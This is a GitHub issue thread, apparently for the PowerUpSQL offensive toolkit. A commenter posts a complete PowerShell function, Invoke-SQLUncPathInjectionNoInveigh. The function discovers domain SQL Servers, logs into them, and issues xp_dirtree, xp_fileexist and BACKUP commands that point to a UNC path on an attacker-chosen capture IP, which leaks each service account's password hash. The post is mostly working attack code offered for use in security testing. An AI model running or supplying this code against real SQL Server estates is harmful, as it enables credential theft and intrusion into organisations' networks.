Invoke-SQLUncPathInjection without Inveigh #65

Activity

1. nullbind commented on Sep 1, 2020

   

   nullbind

   on Sep 1, 2020

   Collaborator

   More actions

   Good idea, I’ll add that during the next round of updates. Thanks!

   👍React with 👍2Reacted by S3cur3Th1sSh1t and yellow-starburst
2. Acebond commented on Mar 10, 2026

   

   Acebond

   on Mar 10, 2026

   More actions

   In case anyone has the same issue.

   Function Invoke-SQLUncPathInjectionNoInveigh {
   
       <#
               .SYNOPSIS
               Locates domain sql servers, loads inveigh, attempts login, and unc path injects to capture password hash of associated service account.
               .PARAMETER Username
               SQL Server or domain account to authenticate with.
               .PARAMETER Password
               SQL Server or domain account password to authenticate with.
               .PARAMETER Instance
               SQL Server instance to connection to.
               .PARAMETER CaptureIp
               IP address for listening and packet sniffing.
       #>
   
       [CmdletBinding()]
       Param(
         [Parameter(Mandatory=$false)]
          [string]$Username,
       
          [Parameter(Mandatory=$false)]
          [string]$Password,
   
          [Parameter(Mandatory=$false)]
          [string]$DomainController,
   
          [Parameter(Mandatory = $false,
                   ValueFromPipeline = $true,
                   ValueFromPipelineByPropertyName = $true,
          HelpMessage = 'SQL Server instance to connection to.')]
          [string]$Instance,
   
          [Parameter(Mandatory=$true)]
          [string]$CaptureIp,
   
          [Parameter(Mandatory=$false)]
          [int]$TimeOut = 5,
   
          [Parameter(Mandatory=$false)]
          [int]$Threads = 10
   
       )
       Process
       {
           # If SQL instances are not provided, autopug
           if(-not $Instance)
           {
               # Discover SQL Servers on the Domain via LDAP queries for SPN records
               $SQLServerInstances = Get-SQLInstanceDomain -verbose -DomainController $DomainController -Username $Username -Password $Password 
           } else {
               # Test instances from pipeline and check connectivity
               $SQLServerInstances = $Instance 
           }
   
           # Get list of SQL Servers that the provided account can log into
           Write-Verbose -Message "Attempting to log into each instance..."
           $AccessibleSQLServers = $SQLServerInstances | Get-SQLConnectionTestThreaded -Verbose -Threads $Threads | ? {$_.status -eq "Accessible"}        
           $AccessibleSQLServersCount = $AccessibleSQLServers.count
   
           # Status user
           Write-Verbose -Message "$AccessibleSQLServersCount SQL Server instances can be logged into"
           Write-Verbose -Message "Starting UNC path injections against $AccessibleSQLServersCount instances..."
   
           # Perform unc path injection on each one
           $AccessibleSQLServers | 
           ForEach-Object{
   
               # Get current instance
               $CurrentInstance = $_.Instance
   
               # Randomized 5 character file name
               $UncFileName = (-join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_}))
   
               # Start unc path injection for each interface
               Write-Verbose -Message "$CurrentInstance - Injecting UNC path to \\$CaptureIp\$UncFileName"
   
               # Functions executable by the Public role that accept UNC paths - SQL Server 2000 to 2008
               # https://support.microsoft.com/en-us/help/321185/how-to-determine-the-version--edition-and-update-level-of-sql-server-a
   
               # Check version
               $SQLVersionFull = Get-SQLServerInfo -Instance $CurrentInstance -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property SQLServerVersionNumber -ExpandProperty SQLServerVersionNumber
               if($SQLVersionFull)
               {
                   $SQLVersionShort = $SQLVersionFull.Split('.')[0]
               }
   
               # Run the BACKUP commands for older version only (MS16-136)
               if([int]$SQLVersionShort -le 11)
               {
                   Get-SQLQuery -Instance $CurrentInstance -Username $Username -Password $Password -Query "BACKUP LOG [TESTING] TO DISK = '\\$CaptureIp\$UncFileName'" -SuppressVerbose | out-null
                   Get-SQLQuery -Instance $CurrentInstance -Username $Username -Password $Password -Query "BACKUP DATABASE [TESTING] TO DISK = '\\$CaptureIp\$UncFileName'" -SuppressVerbose | out-null
               }
   
               # Functions executable by the Public role that accept UNC paths
               Get-SQLQuery -Instance $CurrentInstance -Username $Username -Password $Password -Query "xp_dirtree '\\$CaptureIp\$UncFileName'" -SuppressVerbose | out-null 
               Get-SQLQuery -Instance $CurrentInstance -Username $Username -Password $Password -Query "xp_fileexist '\\$CaptureIp\$UncFileName'" -SuppressVerbose | out-null
           }
       }
   }